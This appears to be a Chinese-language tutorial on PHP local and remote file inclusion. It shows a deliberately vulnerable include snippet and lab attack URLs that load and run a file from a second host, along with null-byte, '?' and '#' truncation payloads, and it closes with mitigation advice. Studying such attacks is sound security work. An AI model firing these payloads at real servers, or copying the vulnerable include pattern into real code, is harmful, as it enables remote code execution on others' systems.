当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On、allow_url_include=ON 两个条件同时
为 On 允许远程包含文件。
<?php
include $_GET['file'];
?>


<?php
phpinfo();
?>
C:\Users\Administrator

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt

文件包含截断攻击,在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,
截断会受 gpc影响,如果 gpc为 On 时,%00会被转以成\0 截断会失败。
<?php
include $GET['file'].'.php';
?>
传入 file 文件名拼接.php 在用 include 引入文件。file 参数可控的会造成漏洞。
上传带有恶意代码的文件到网站目录,包含引入再进行 00 截断。
当前测试的版本是 php 5.2.17,gpc=off

http://192.168.127.132/test.php?file=1.jpg%00

适用于远程截断的字符有:
| 符号 | URL编码 |
|---|---|
| # | %23 |
| ? | %3f |
| 00 | %00 |
以上这个字符都可以截断:
allow_url_fopen =On
allow_url_include=On
<?php
include $_GET['file'];
?>


<?php
phpinfo();
?>
C:\Users\Administrator

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%00

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%3f

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%23

1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
5.设置 allow_url_include为 Off